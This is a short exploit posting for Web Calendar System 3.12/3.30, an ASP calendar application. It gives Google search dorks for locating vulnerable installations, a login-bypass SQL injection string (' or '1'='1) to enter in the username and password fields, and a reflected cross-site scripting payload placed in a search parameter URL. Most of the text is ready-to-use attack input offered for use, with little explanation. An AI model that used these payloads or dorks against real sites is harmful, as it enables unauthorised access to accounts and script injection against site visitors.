Web Calendar System 3.12/3.30 Multiple Remote Vulnerabilities

                                                
[+] Script               : Web Calendar System v 3.12/3.30

[+] Exploit Type         : Multiple Exploits (XSS + remote bypass Exploit)

[+] Google Dork          : intitle:Web Calendar system v 3.30        inurl:.asp
[+] Google Dork          : intitle:Web Calendar system v 3.12        inurl:.asp

[+] Contact              : [email protected]


--//--> Exploit : 

1) Remote Bypass Exploit :

http://[website]/[script]/db/agenda/calendar.asp?DoAction=USER&Change=LOGINFORM

username:' or '1'='1

password:' or '1'='1

2) Remote XSS exploit : 

In simple words :

http://[website]/[script]/CALENDAR.ASP?DoAction=Calendar&View=Search&SText=<script>alert('Bl@ckbe@rD is not dead yet')</script>[Peace xD ]